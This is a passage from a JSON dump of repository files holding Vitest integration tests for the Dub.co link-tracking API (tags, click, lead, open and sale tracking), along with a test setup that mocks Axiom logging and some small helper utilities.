E2E_CUSTOMER_SIGNUP_DATE_CONDITIONS_EXTERNAL_ID,\n      },\n    });\n\n    expect(trackSaleResponse.status).toEqual(200);\n\n    await verifyCommission({\n      http,\n      invoiceId: sale.invoiceId,\n      expectedEarnings: E2E_SALE_REWARD.modifiers[4].amountInCents!,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/setupTests.ts",
    "content": "import crypto from \"node:crypto\";\nimport { vi } from \"vitest\";\n\nObject.defineProperty(globalThis, \"crypto\", {\n  value: crypto,\n  writable: false, // Ensure it's not writable\n  configurable: true, // Allow reconfiguration if needed\n});\n\n// Mock Axiom SDK modules to prevent initialization issues during tests\nvi.mock(\"@axiomhq/js\", () => ({\n  Axiom: class {\n    constructor(_config: any) {}\n    ingest = vi.fn().mockResolvedValue(undefined);\n    query = vi.fn().mockResolvedValue({ matches: [] });\n  },\n}));\n\nvi.mock(\"@axiomhq/logging\", () => ({\n  AxiomJSTransport: class {\n    constructor(_config: any) {}\n  },\n  Logger: class {\n    constructor(_config: any) {}\n    log = vi.fn();\n    info = vi.fn();\n    warn = vi.fn();\n    error = vi.fn();\n    flush = vi.fn().mockResolvedValue(undefined);\n  },\n  LogLevel: {\n    info: \"info\",\n    warn: \"warn\",\n    error: \"error\",\n  },\n}));\n\nvi.mock(\"@axiomhq/nextjs\", () => ({\n  createAxiomRouteHandler: vi.fn((logger, options) => {\n    return (handler: any) => handler;\n  }),\n  nextJsFormatters: {},\n  transformRouteHandlerSuccessResult: vi.fn(() => [\"\", {}]),\n  createOnRequestError: vi.fn(() => vi.fn()),\n  transformMiddlewareRequest: vi.fn(() => []),\n}));\n"
  },
  {
    "path": "apps/web/tests/tags/create-tag-error.test.ts",
    "content": "import { Tag } from \"@dub/prisma/client\";\nimport { expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst cases = [\n  {\n    name: \"create tag with invalid color\",\n    body: {\n      tag: \"news\",\n      color: \"invalid\",\n    },\n    expected: {\n      status: 422,\n      data: {\n        error: {\n          code: \"unprocessable_entity\",\n          message:\n            \"invalid_value: color: Invalid color. Must be one of: red, yellow, green, blue, purple, brown, gray, pink\", // TODO: update this to use RESOURCE_COLORS\n          doc_url:\n            \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n        },\n      },\n    },\n  },\n  {\n    name: \"create tag without name\",\n    body: {\n      color: \"red\",\n    },\n    expected: {\n      status: 422,\n      data: {\n        error: {\n          code: \"unprocessable_entity\",\n          message: \"custom: name: Name is required.\",\n          doc_url:\n            \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n        },\n      },\n    },\n  },\n];\n\ncases.forEach(({ name, body, expected }) => {\n  test(name, async (ctx) => {\n    const h = new IntegrationHarness(ctx);\n    const { http } = await h.init();\n\n    const response = await http.post<Tag>({\n      path: \"/tags\",\n      body,\n    });\n\n    expect(response).toEqual(expected);\n  });\n});\n\ntest(\"create tag with existing name\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  await http.post({\n    path: \"/tags\",\n    body: {\n      tag: \"news\",\n      color: \"red\",\n    },\n  });\n\n  // Create the same tag again\n  const { status, data: error } = await http.post<Tag>({\n    path: \"/tags\",\n    body: {\n      tag: \"news\",\n      color: \"red\",\n    },\n  });\n\n  expect(status).toBe(409);\n  expect(error).toEqual({\n    error: {\n      code: \"conflict\",\n      message: \"A tag with that name already exists.\",\n      doc_url: \"https://dub.co/docs/api-reference/errors#conflict\",\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tags/create-tag.test.ts",
    "content": "import { Tag } from \"@dub/prisma/client\";\nimport { expect, onTestFinished, test } from \"vitest\";\nimport { randomTagName } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ntest(\"POST /tags\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  onTestFinished(async () => {\n    await h.deleteTag(tag.id);\n  });\n\n  const newTag = {\n    name: randomTagName(),\n    color: \"red\",\n  };\n\n  const { status, data: tag } = await http.post<Tag>({\n    path: \"/tags\",\n    body: newTag,\n  });\n\n  expect(status).toEqual(201);\n  expect(tag).toStrictEqual({\n    id: expect.any(String),\n    ...newTag,\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tags/list-tags.test.ts",
    "content": "import { Tag } from \"@dub/prisma/client\";\nimport { expect, onTestFinished, test } from \"vitest\";\nimport { randomTagName } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ntest(\"GET /tags\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  onTestFinished(async () => {\n    await h.deleteTag(tagCreated.id);\n  });\n\n  const newTag = {\n    tag: randomTagName(),\n    color: \"red\",\n  };\n\n  const { data: tagCreated } = await http.post<Tag>({\n    path: \"/tags\",\n    body: newTag,\n  });\n\n  const { status, data: tags } = await http.get<Tag[]>({\n    path: \"/tags?sortBy=createdAt&sortOrder=desc\",\n  });\n\n  expect(status).toEqual(200);\n  expect(tags).toEqual(\n    expect.arrayContaining([\n      {\n        id: tagCreated.id,\n        name: tagCreated.name,\n        color: tagCreated.color,\n      },\n    ]),\n  );\n});\n"
  },
  {
    "path": "apps/web/tests/tracks/track-click.test.ts",
    "content": "import { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK, E2E_TRACK_CLICK_HEADERS } from \"../utils/resource\";\n\n// Helper function to verify click tracking response\nconst expectValidClickResponse = ({\n  response,\n  hasPartner = false,\n  hasDiscount = false,\n}: {\n  response: { status: number; data: any };\n  hasPartner?: boolean;\n  hasDiscount?: boolean;\n}) => {\n  expect(response.status).toEqual(200);\n  expect(response.data).toStrictEqual({\n    clickId: expect.any(String),\n    ...(hasPartner && {\n      partner: expect.objectContaining({\n        id: expect.any(String),\n        name: expect.any(String),\n        image: expect.any(String),\n      }),\n    }),\n    ...(hasDiscount && {\n      discount: expect.objectContaining({\n        id: expect.any(String),\n        amount: expect.any(Number),\n        type: expect.any(String),\n        maxDuration: expect.any(Number),\n        couponId: expect.any(String),\n        couponTestId: expect.any(String),\n      }),\n    }),\n  });\n\n  // Check nullish fields separately if partner exists\n  if (hasPartner && response.data.partner) {\n    const { groupId, tenantId } = response.data.partner;\n    expect(\n      groupId === null || groupId === undefined || typeof groupId === \"string\",\n    ).toBe(true);\n    expect(\n      tenantId === null ||\n        tenantId === undefined ||\n        typeof tenantId === \"string\",\n    ).toBe(true);\n  }\n};\n\ndescribe(\"POST /track/click\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"track a basic click\", async () => {\n    const response = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n        key: E2E_LINK.key,\n      },\n    });\n\n    expectValidClickResponse({\n      response,\n    });\n  });\n\n  test(\"same clickId should be returned on subsequent requests\", async () => {\n    const response1 = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n        key: E2E_LINK.key,\n      },\n    });\n\n    const response2 = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n        key: E2E_LINK.key,\n      },\n    });\n\n    expect(response1.data.clickId).toEqual(response2.data.clickId);\n  });\n\n  test(\"partner link should return partner data\", async () => {\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: \"getacme.link\",\n        key: \"derek\",\n      },\n    });\n\n    expect(clickResponse.status).toEqual(200);\n    expectValidClickResponse({\n      response: clickResponse,\n      hasPartner: true,\n      hasDiscount: true,\n    });\n  });\n\n  test(\"missing domain should return validation error\", async () => {\n    const response = await http.post({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        key: E2E_LINK.key,\n      },\n    });\n\n    expect(response.status).toEqual(422);\n    expect(response.data).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message: \"invalid_type: domain: domain is required.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"missing key should return validation error\", async () => {\n    const response = await http.post({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n      },\n    });\n\n    expect(response.status).toEqual(422);\n    expect(response.data).toStrictEqual({\n      error: {\n        code: \"unprocessable_entity\",\n        message: \"invalid_type: key: key is required.\",\n        doc_url:\n          \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n      },\n    });\n  });\n\n  test(\"non-existent link should return not found error\", async () => {\n    const response = await http.post({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n        key: \"non-existent-key\",\n      },\n    });\n\n    expect(response.status).toEqual(404);\n    expect(response.data).toStrictEqual({\n      error: {\n        code: \"not_found\",\n        message: `Link not found for domain: ${E2E_LINK.domain} and key: non-existent-key.`,\n        doc_url: \"https://dub.co/docs/api-reference/errors#not-found\",\n      },\n    });\n  });\n\n  // TODO: add this back when we have a way to return error even when clickId is cached\n  //   test(\"Request origin not part of the allowed hostnames list should return forbidden error\", async () => {\n  //     const response = await http.post({\n  //       path: \"/track/click\",\n  //       headers: {\n  //         ...E2E_TRACK_CLICK_HEADERS,\n  //         referer: \"https://not-allowed.com\",\n  //       },\n  //       body: {\n  //         domain: E2E_LINK.domain,\n  //         key: E2E_LINK.key,\n  //       },\n  //     });\n\n  //     expect(response.status).toEqual(403);\n  //     expect(response.data).toStrictEqual({\n  //       error: {\n  //         code: \"forbidden\",\n  //         message: `Request origin 'not-allowed.com' is not included in the allowed hostnames for this workspace (${E2E_LINK.domain}). Update your allowed hostnames here: https://app.dub.co/settings/tracking`,\n  //         doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n  //       },\n  //     });\n  //   });\n\n  test(\"OPTIONS request should return CORS headers\", async () => {\n    const response = await fetch(`${h.baseUrl}/api/track/click`, {\n      method: \"OPTIONS\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n\n    expect(response.status).toEqual(204);\n    expect(response.headers.get(\"access-control-allow-origin\")).toBe(\"*\");\n    expect(response.headers.get(\"access-control-allow-methods\")).toBe(\n      \"POST, OPTIONS\",\n    );\n    expect(response.headers.get(\"access-control-allow-headers\")).toBe(\n      \"Content-Type, Authorization\",\n    );\n  });\n\n  test(\"POST request should return CORS headers\", async () => {\n    const response = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n        key: E2E_LINK.key,\n      },\n    });\n\n    expect(response.status).toEqual(200);\n  });\n\n  test(\"clickId should be a valid string\", async () => {\n    const response = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: E2E_LINK.domain,\n        key: E2E_LINK.key,\n      },\n    });\n\n    expect(response.data.clickId).toMatch(/^[a-zA-Z0-9]{16}$/);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tracks/track-lead-client.test.ts",
    "content": "import { randomCustomer } from \"tests/utils/helpers\";\nimport { E2E_TRACK_CLICK_HEADERS } from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe(\"POST /track/lead/client\", async () => {\n  const h = new IntegrationHarness();\n  const { http, env } = await h.init();\n\n  // Track a click\n  const clickResponse = await http.post<{ clickId: string }>({\n    path: \"/track/click\",\n    headers: E2E_TRACK_CLICK_HEADERS,\n    body: {\n      domain: \"getacme.link\",\n      key: \"derek\",\n    },\n  });\n\n  expect(clickResponse.status).toEqual(200);\n  expect(clickResponse.data.clickId).toStrictEqual(expect.any(String));\n\n  const clickId = clickResponse.data.clickId;\n  const customer = randomCustomer();\n\n  test(\"track a lead on the client (with clickId from a prior /track/click request)\", async () => {\n    const response = await fetch(`${env.E2E_BASE_URL}/api/track/lead/client`, {\n      method: \"POST\",\n      headers: {\n        ...E2E_TRACK_CLICK_HEADERS,\n        \"Content-Type\": \"application/json\",\n        Authorization: `Bearer ${env.E2E_PUBLISHABLE_KEY}`,\n      },\n      body: JSON.stringify({\n        clickId: clickId,\n        eventName: \"Signup\",\n        customerExternalId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      }),\n    });\n\n    const leadResponse = await response.json();\n\n    expect(response.status).toEqual(200);\n    expect(leadResponse).toStrictEqual({\n      click: {\n        id: clickId,\n      },\n      link: leadResponse.link,\n      customer: customer,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tracks/track-lead.test.ts",
    "content": "import { TrackLeadResponse, TrackSaleResponse } from \"@/lib/types\";\nimport { randomCustomer } from \"tests/utils/helpers\";\nimport { E2E_TRACK_CLICK_HEADERS } from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\n// Helper function to verify lead tracking response\nconst expectValidLeadResponse = ({\n  response,\n  customer,\n  clickId,\n}: {\n  response: { status: number; data: TrackLeadResponse };\n  customer: any;\n  clickId: string;\n}) => {\n  expect(response.status).toEqual(200);\n  expect(response.data).toStrictEqual({\n    click: {\n      id: clickId,\n    },\n    link: response.data.link,\n    customer,\n  });\n};\n\ndescribe(\"POST /track/lead\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  const clickResponse = await http.post<{ clickId: string }>({\n    path: \"/track/click\",\n    headers: E2E_TRACK_CLICK_HEADERS,\n    body: {\n      domain: \"getacme.link\",\n      key: \"derek\",\n    },\n  });\n\n  expect(clickResponse.status).toEqual(200);\n  expect(clickResponse.data.clickId).toStrictEqual(expect.any(String));\n\n  const trackedClickId = clickResponse.data.clickId;\n\n  const customer1 = randomCustomer();\n\n  test(\"track a lead (with clickId from a prior /track/click request)\", async () => {\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        eventName: \"Signup\",\n        customerExternalId: customer1.externalId,\n        customerName: customer1.name,\n        customerEmail: customer1.email,\n        customerAvatar: customer1.avatar,\n      },\n    });\n\n    expectValidLeadResponse({\n      response,\n      customer: customer1,\n      clickId: trackedClickId,\n    });\n  });\n\n  test(\"duplicate track lead request with same customerExternalId\", async () => {\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        eventName: \"Signup\",\n        customerExternalId: customer1.externalId,\n        customerName: customer1.name,\n        customerEmail: customer1.email,\n        customerAvatar: customer1.avatar,\n      },\n    });\n\n    // should return the same response since it's idempotent\n    expectValidLeadResponse({\n      response,\n      customer: customer1,\n      clickId: trackedClickId,\n    });\n  });\n\n  test(\"track a lead with mode = 'deferred' + track it again after with mode = 'async' and no clickId\", async () => {\n    const customer2 = randomCustomer();\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        eventName: \"Mode=Deferred Signup\",\n        customerExternalId: customer2.externalId,\n        customerName: customer2.name,\n        customerEmail: customer2.email,\n        customerAvatar: customer2.avatar,\n        mode: \"deferred\",\n      },\n    });\n    expectValidLeadResponse({\n      response,\n      customer: customer2,\n      clickId: trackedClickId,\n    });\n    // track the lead again, this time with mode = 'async' and no clickId\n    const response2 = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Mode=Deferred Signup\",\n        customerExternalId: customer2.externalId,\n      },\n    });\n    expectValidLeadResponse({\n      response: response2,\n      customer: customer2,\n      clickId: trackedClickId,\n    });\n  });\n\n  test(\"track a lead with mode = 'wait' + track a sale right after\", async () => {\n    const customer3 = randomCustomer();\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        eventName: \"Mode=Wait Signup\",\n        customerExternalId: customer3.externalId,\n        customerName: customer3.name,\n        customerEmail: customer3.email,\n        customerAvatar: customer3.avatar,\n        mode: \"wait\",\n      },\n    });\n    expectValidLeadResponse({\n      response,\n      customer: customer3,\n      clickId: trackedClickId,\n    });\n\n    const saleResponse = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        customerExternalId: customer3.externalId,\n        eventName: \"Mode=Wait Purchase\",\n        amount: 500,\n        paymentProcessor: \"stripe\",\n      },\n    });\n\n    expect(saleResponse.status).toEqual(200);\n  });\n\n  test(\"track a lead with eventQuantity\", async () => {\n    const customer4 = randomCustomer();\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        eventName: \"Start Trial\",\n        customerExternalId: customer4.externalId,\n        customerName: customer4.name,\n        customerEmail: customer4.email,\n        customerAvatar: customer4.avatar,\n        eventQuantity: 2,\n      },\n    });\n\n    expectValidLeadResponse({\n      response,\n      customer: customer4,\n      clickId: trackedClickId,\n    });\n  });\n\n  test(\"track a lead with `externalId` (backward compatibility)\", async () => {\n    const customer5 = randomCustomer();\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        externalId: customer5.externalId,\n        eventName: \"Signup\",\n        customerName: customer5.name,\n        customerEmail: customer5.email,\n        customerAvatar: customer5.avatar,\n      },\n    });\n\n    expectValidLeadResponse({\n      response,\n      customer: customer5,\n      clickId: trackedClickId,\n    });\n  });\n\n  test(\"track a lead with `customerId` (backward compatibility)\", async () => {\n    const customer6 = randomCustomer();\n    const response = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId: trackedClickId,\n        customerId: customer6.externalId,\n        eventName: \"Signup\",\n        customerName: customer6.name,\n        customerEmail: customer6.email,\n        customerAvatar: customer6.avatar,\n      },\n    });\n\n    expectValidLeadResponse({\n      response,\n      customer: customer6,\n      clickId: trackedClickId,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tracks/track-open.test.ts",
    "content": "import { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK, E2E_TRACK_CLICK_HEADERS } from \"../utils/resource\";\n\n// Helper function to verify click tracking response\nconst expectValidClickResponse = ({\n  response,\n}: {\n  response: { status: number; data: any };\n}) => {\n  expect(response.status).toEqual(200);\n  expect(response.data).toStrictEqual({\n    clickId: expect.any(String),\n    link: {\n      id: expect.any(String),\n      domain: E2E_LINK.domain,\n      key: E2E_LINK.key,\n      url: expect.any(String),\n    },\n  });\n};\n\nconst deepLink = `https://${E2E_LINK.domain}/${E2E_LINK.key}`;\n\ndescribe(\"POST /track/open\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"track a basic open\", async () => {\n    const response = await http.post<{ clickId: string }>({\n      path: \"/track/open\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        deepLink,\n      },\n    });\n\n    expectValidClickResponse({\n      response,\n    });\n  });\n\n  test(\"same clickId should be returned on subsequent requests\", async () => {\n    const response1 = await http.post<{ clickId: string }>({\n      path: \"/track/open\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        deepLink,\n      },\n    });\n\n    const response2 = await http.post<{ clickId: string }>({\n      path: \"/track/open\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        deepLink,\n      },\n    });\n\n    expect(response1.data.clickId).toEqual(response2.data.clickId);\n  });\n\n  test(\"non-existent link should return not found error\", async () => {\n    const response = await http.post({\n      path: \"/track/open\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        deepLink: `https://${E2E_LINK.domain}/non-existent-key`,\n      },\n    });\n\n    expect(response.status).toEqual(404);\n    expect(response.data).toStrictEqual({\n      error: {\n        code: \"not_found\",\n        message: `Deep link not found: https://${E2E_LINK.domain}/non-existent-key`,\n        doc_url: \"https://dub.co/docs/api-reference/errors#not-found\",\n      },\n    });\n  });\n\n  test(\"OPTIONS request should return CORS headers\", async () => {\n    const response = await fetch(`${h.baseUrl}/api/track/open`, {\n      method: \"OPTIONS\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n\n    expect(response.status).toEqual(204);\n    expect(response.headers.get(\"access-control-allow-origin\")).toBe(\"*\");\n    expect(response.headers.get(\"access-control-allow-methods\")).toBe(\n      \"POST, OPTIONS\",\n    );\n    expect(response.headers.get(\"access-control-allow-headers\")).toBe(\n      \"Content-Type, Authorization\",\n    );\n  });\n\n  test(\"POST request should return CORS headers\", async () => {\n    const response = await http.post<{ clickId: string }>({\n      path: \"/track/open\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        deepLink,\n      },\n    });\n\n    expect(response.status).toEqual(200);\n  });\n\n  test(\"clickId should be a valid string\", async () => {\n    const response = await http.post<{ clickId: string }>({\n      path: \"/track/open\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        deepLink,\n      },\n    });\n\n    expect(response.data.clickId).toMatch(/^[a-zA-Z0-9]{16}$/);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tracks/track-sale-client.test.ts",
    "content": "import { randomId, randomSaleAmount } from \"tests/utils/helpers\";\nimport {\n  E2E_CUSTOMER_EXTERNAL_ID,\n  E2E_CUSTOMER_ID,\n  E2E_TRACK_CLICK_HEADERS,\n} from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe(\"POST /track/sale/client\", async () => {\n  const h = new IntegrationHarness();\n  const { env } = await h.init();\n\n  const sale = {\n    eventName: \"Subscription\",\n    amount: randomSaleAmount(),\n    currency: \"usd\",\n    invoiceId: `INV_${randomId()}`,\n    paymentProcessor: \"stripe\",\n  };\n\n  test(\"track a sale\", async () => {\n    const response = await fetch(`${env.E2E_BASE_URL}/api/track/sale/client`, {\n      method: \"POST\",\n      headers: {\n        ...E2E_TRACK_CLICK_HEADERS,\n        \"Content-Type\": \"application/json\",\n        Authorization: `Bearer ${env.E2E_PUBLISHABLE_KEY}`,\n      },\n      body: JSON.stringify({\n        ...sale,\n        customerExternalId: E2E_CUSTOMER_EXTERNAL_ID,\n      }),\n    });\n\n    const saleResponse = await response.json();\n\n    expect(response.status).toEqual(200);\n    expect(saleResponse).toStrictEqual({\n      eventName: \"Subscription\",\n      customer: {\n        id: E2E_CUSTOMER_ID,\n        name: expect.any(String),\n        email: expect.any(String),\n        avatar: expect.any(String),\n        externalId: E2E_CUSTOMER_EXTERNAL_ID,\n      },\n      sale: {\n        amount: sale.amount,\n        currency: sale.currency,\n        paymentProcessor: sale.paymentProcessor,\n        invoiceId: sale.invoiceId,\n        metadata: null,\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/tracks/track-sale.test.ts",
    "content": "import { TrackSaleResponse } from \"@/lib/types\";\nimport {\n  randomCustomer,\n  randomId,\n  randomSaleAmount,\n} from \"tests/utils/helpers\";\nimport {\n  E2E_CUSTOMER_EXTERNAL_ID,\n  E2E_CUSTOMER_ID,\n  E2E_TRACK_CLICK_HEADERS,\n} from \"tests/utils/resource\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst expectValidSaleResponse = (\n  response: { status: number; data: TrackSaleResponse },\n  sale: any,\n) => {\n  expect(response.status).toEqual(200);\n  expect(response.data).toStrictEqual({\n    eventName: \"Subscription\",\n    customer: {\n      id: E2E_CUSTOMER_ID,\n      name: expect.any(String),\n      email: expect.any(String),\n      avatar: expect.any(String),\n      externalId: E2E_CUSTOMER_EXTERNAL_ID,\n    },\n    sale: {\n      amount: sale.amount,\n      currency: sale.currency,\n      paymentProcessor: sale.paymentProcessor,\n      invoiceId: sale.invoiceId,\n      metadata: null,\n    },\n  });\n};\n\ndescribe.concurrent(\"POST /track/sale\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  const sale = {\n    eventName: \"Subscription\",\n    amount: randomSaleAmount(),\n    currency: \"usd\",\n    invoiceId: `INV_${randomId()}`,\n    paymentProcessor: \"stripe\",\n  };\n\n  test(\"track a sale\", async () => {\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        customerExternalId: E2E_CUSTOMER_EXTERNAL_ID,\n      },\n    });\n\n    expectValidSaleResponse(response, sale);\n  });\n\n  test(\"track a sale with an invoiceId that is already processed (should return the same response as before) \", async () => {\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        customerExternalId: E2E_CUSTOMER_EXTERNAL_ID,\n        invoiceId: sale.invoiceId,\n      },\n    });\n\n    // should return the same response since it's idempotent\n    expectValidSaleResponse(response, sale);\n  });\n\n  test(\"track a sale with an externalId that does not exist (should return null customer and sale)\", async () => {\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...sale,\n        invoiceId: `INV_${randomId()}`,\n        customerExternalId: \"external-id-that-does-not-exist\",\n      },\n    });\n\n    expect(response.status).toEqual(200);\n    expect(response.data).toStrictEqual({\n      eventName: \"Subscription\",\n      customer: null,\n      sale: null,\n    });\n  });\n\n  test(\"track a sale with `externalId` (backward compatibility)\", async () => {\n    const newSale = {\n      ...sale,\n      invoiceId: `INV_${randomId()}`,\n      amount: randomSaleAmount(),\n    };\n\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...newSale,\n        externalId: E2E_CUSTOMER_EXTERNAL_ID,\n      },\n    });\n\n    expectValidSaleResponse(response, newSale);\n  });\n\n  test(\"track a sale with `customerId` (backward compatibility)\", async () => {\n    const newSale = {\n      ...sale,\n      invoiceId: `INV_${randomId()}`,\n      amount: randomSaleAmount(),\n    };\n\n    const response5 = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...newSale,\n        customerId: E2E_CUSTOMER_EXTERNAL_ID,\n      },\n    });\n\n    expectValidSaleResponse(response5, newSale);\n  });\n\n  test(\"track a sale with JPY currency (zero decimal currency)\", async () => {\n    const jpySale = {\n      ...sale,\n      eventName: \"Payment in JPY\",\n      invoiceId: `INV_${randomId()}`,\n      amount: 1580, // approximately 1000 USD cents\n      currency: \"jpy\",\n    };\n\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...jpySale,\n        customerExternalId: E2E_CUSTOMER_EXTERNAL_ID,\n      },\n    });\n\n    // Check if the converted amount is within an acceptable range\n    // 1580 JPY should be around 1000 USD cents (±100)\n    expect(response.status).toEqual(200);\n    expect(response.data.sale?.currency).toEqual(\"usd\");\n    expect(response.data.sale?.amount).toBeGreaterThanOrEqual(900); // 900 cents\n    expect(response.data.sale?.amount).toBeLessThanOrEqual(1100); // 1100 cents\n  });\n\n  test(\"track a sale with direct sale tracking\", async () => {\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        domain: \"getacme.link\",\n        key: \"derek\",\n      },\n    });\n    expect(clickResponse.status).toEqual(200);\n    expect(clickResponse.data.clickId).toStrictEqual(expect.any(String));\n    const trackedClickId = clickResponse.data.clickId;\n    const saleCustomer = randomCustomer();\n    const salePayload = {\n      ...sale,\n      eventName: \"Purchase (no lead event)\",\n      amount: randomSaleAmount(),\n      invoiceId: `INV_${randomId()}`,\n    };\n\n    const response = await http.post<TrackSaleResponse>({\n      path: \"/track/sale\",\n      body: {\n        ...salePayload,\n        clickId: trackedClickId,\n        leadEventName: \"Signup (auto lead tracking)\",\n        customerExternalId: saleCustomer.externalId,\n        customerName: saleCustomer.name,\n        customerEmail: saleCustomer.email,\n        customerAvatar: saleCustomer.avatar,\n      },\n    });\n\n    expect(response.status).toEqual(200);\n    expect(response.data).toStrictEqual({\n      eventName: salePayload.eventName,\n      customer: {\n        id: expect.any(String),\n        ...saleCustomer,\n      },\n      sale: {\n        amount: salePayload.amount,\n        currency: salePayload.currency,\n        paymentProcessor: salePayload.paymentProcessor,\n        invoiceId: salePayload.invoiceId,\n        metadata: null,\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/utils/env.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const integrationTestEnv = z.object({\n  E2E_BASE_URL: z.url().min(1),\n  E2E_TOKEN: z.string().min(1),\n  E2E_TOKEN_MEMBER: z.string().min(1),\n  E2E_TOKEN_OLD: z.string().min(1),\n  E2E_PUBLISHABLE_KEY: z.string().min(1),\n  CI: z.coerce\n    .string()\n    .default(\"false\")\n    .transform((v) => v === \"true\"),\n});\n\nexport const env = integrationTestEnv.parse(process.env);\n"
  },
  {
    "path": "apps/web/tests/utils/fetch-partner.ts",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { expect } from \"vitest\";\nimport { HttpClient } from \"./http\";\n\nexport async function fetchPartner({\n  http,\n  partnerId,\n}: {\n  http: HttpClient;\n  partnerId: string;\n}) {\n  const { data, status } = await http.get<EnrolledPartnerProps[]>({\n    path: `/partners?partnerIds=${partnerId}`,\n  });\n\n  expect(status).toEqual(200);\n  expect(data.length).toBeGreaterThan(0);\n\n  return data[0];\n}\n"
  },
  {
    "path": "apps/web/tests/utils/helpers.ts",
